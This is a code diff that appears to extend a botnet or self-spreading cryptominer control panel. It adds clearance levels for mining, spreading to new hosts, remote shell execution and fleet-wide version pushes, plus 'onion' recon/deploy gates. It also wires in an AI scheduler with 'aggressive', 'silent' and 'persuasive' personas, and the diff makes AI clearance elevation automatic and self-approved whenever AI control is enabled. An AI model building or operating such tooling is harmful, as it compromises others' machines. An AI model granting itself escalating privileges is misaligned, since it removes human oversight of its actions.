api.SetAgentPathSecret(cfg.Server.FleetSecret)
@@ -272,8 +274,10 @@ func main() {
fleetAISched := fleetai.NewScheduler(
&api.ConfigAIAdapter{Src: configProvider},
&api.WSHubSnapshotAdapter{Hub: wsHub},
&api.FleetAIExecutor{Hub: wsHub},
&api.ClearanceGuardExecutor{Inner: &api.FleetAIExecutor{Hub: wsHub}, Clearance: wsHub.ClearanceManager()},
&api.DatabaseAIDecisionStore{DB: database},
&api.DatabaseCourtAdapter{DB: database},
wsHub.ClearanceManager(),
)
fleetAISched.Start()
defer fleetAISched.Stop()
@@ -502,11 +506,13 @@ func (p *serverConfigProvider) GetFleetAIConfig() api.FleetAIConfigView {
interval = 60
}
return api.FleetAIConfigView{
AIControlEnabled: s.AIControlEnabled,
AIEndpoint: s.AIEndpoint,
AIModel: s.AIModel,
AINoContext: s.AINoContext,
AIDecisionIntervalSec: interval,
AIControlEnabled: s.AIControlEnabled,
AIEndpoint: s.AIEndpoint,
AIModel: s.AIModel,
AINoContext: s.AINoContext,
AIDecisionIntervalSec: interval,
AIAutoElevateClearance: s.AIAutoElevateClearance || s.AIControlEnabled,
AIPersona: fleetai.NormalizePersona(s.AIPersona),
}
}
@@ -522,8 +528,10 @@ func (p *serverConfigProvider) UpdateFleetAIConfig(v api.FleetAIConfigView) erro
"ai_control_enabled": v.AIControlEnabled,
"ai_endpoint": v.AIEndpoint,
"ai_model": v.AIModel,
"ai_no_context": v.AINoContext,
"ai_decision_interval_sec": v.AIDecisionIntervalSec,
"ai_no_context": v.AINoContext,
"ai_decision_interval_sec": v.AIDecisionIntervalSec,
"ai_auto_elevate_clearance": v.AIAutoElevateClearance,
"ai_persona": fleetai.NormalizePersona(v.AIPersona),
},
})
if err != nil {

View File

@@ -230,6 +230,14 @@ export const api = {
params.set('limit', String(limit));
return fetchJSON<AIDecisionRecord[]>(`/ai/decisions?${params}`);
},
getClearanceEvents: (agentId?: string, limit = 50) => {
const params = new URLSearchParams();
if (agentId?.trim()) params.set('agent_id', agentId.trim());
params.set('limit', String(limit));
return fetchJSON<import('../help/clearance').ClearanceEventRecord[]>(
`/ai/clearance-events?${params}`,
);
},
getAIModels: (endpoint: string) =>
fetchJSON<{ models: string[]; endpoint?: string; error?: string }>(
`/ai/models?endpoint=${encodeURIComponent(endpoint)}`,

View File

@@ -184,6 +184,21 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
}
break;
}
case 'clearance_elevated': {
const p = msg.payload as {
agent_id: string;
from_level: number;
to_level: number;
reason?: string;
source?: string;
};
setAgents((prev) =>
prev.map((a) =>
a.id === p.agent_id ? { ...a, clearance_level: p.to_level } : a,
),
);
break;
}
case 'new_share': {
const share = msg.payload as Share;
setRecentShares((prev) => [share, ...prev].slice(0, 50));

View File

@@ -0,0 +1,28 @@
/**
* @vitest-environment node
*/
import { describe, expect, it } from 'vitest';
import {
clearanceLabel,
clearancePermissions,
formatClearanceElevation,
} from './clearance';
describe('clearance helpers', () => {
it('labels L0L4', () => {
expect(clearanceLabel(0)).toBe('L0');
expect(clearanceLabel(4)).toBe('L4');
expect(clearanceLabel(99)).toBe('L4');
});
it('describes permissions per level', () => {
expect(clearancePermissions(2)).toMatch(/spread/i);
expect(clearancePermissions(3)).toMatch(/shell/i);
});
it('formats AI elevation flash copy', () => {
expect(
formatClearanceElevation({ to_level: 4, source: 'ai_scheduler', reason: 'stuck host recovery' }),
).toBe('AI requested L4 — approved');
});
});

View File

@@ -0,0 +1,58 @@
/** Security clearance L0L4 (mirrors server/internal/clearance). */
export const CLEARANCE_MIN = 0;
export const CLEARANCE_MAX = 4;
export interface ClearanceEventRecord {
id: number;
agent_id: string;
from_level: number;
to_level: number;
reason: string;
source: string;
ts: string;
}
export function clearanceLabel(level: number): string {
const n = Math.max(CLEARANCE_MIN, Math.min(CLEARANCE_MAX, level));
return `L${n}`;
}
export function clearancePermissions(level: number): string {
switch (Math.max(CLEARANCE_MIN, Math.min(CLEARANCE_MAX, level))) {
case 0:
return 'Stats and read-only probes';
case 1:
return 'Mining: pause, resume, restart';
case 2:
return 'Spread: discover_and_join, spread_now, stage_fetch';
case 3:
return 'Shell: exec_shell, agent_command';
case 4:
return 'Forge: set_agent_version, reorder_tiers fleet-wide';
default:
return 'Unknown clearance';
}
}
export function formatClearanceElevation(event: {
to_level: number;
source?: string;
reason?: string;
}): string {
const level = clearanceLabel(event.to_level);
if (event.source === 'ai_scheduler') {
return `AI requested ${level} — approved`;
}
if (event.reason?.trim()) {
return `${level}${event.reason.trim()}`;
}
return `Elevated to ${level}`;
}
export function clearanceTimelineSummary(event: ClearanceEventRecord): string {
const from = clearanceLabel(event.from_level);
const to = clearanceLabel(event.to_level);
const who = event.source === 'ai_scheduler' ? 'AI' : event.source || 'system';
return `${who}: ${from}${to}${event.reason ? ` (${event.reason})` : ''}`;
}

View File

@@ -92,4 +92,5 @@ export const WS_LATEST_MESSAGE_TYPES = new Set([
'new_share',
'fleet_alert',
'command_result',
'clearance_elevated',
]);

View File

@@ -330,6 +330,8 @@ export interface ServerSettings {
ai_decision_interval_sec?: number;
/** @deprecated Alias hydrated from legacy saves — prefer ai_decision_interval_sec. */
ai_interval_sec?: number;
/** Fleet AI persona preset: aggressive | silent | passive | persuasive | balanced. */
ai_persona?: string;
/** Triple onion recon/deploy gates pushed to agents at auth. */
triple_onion_policy?: {
patch_first?: boolean;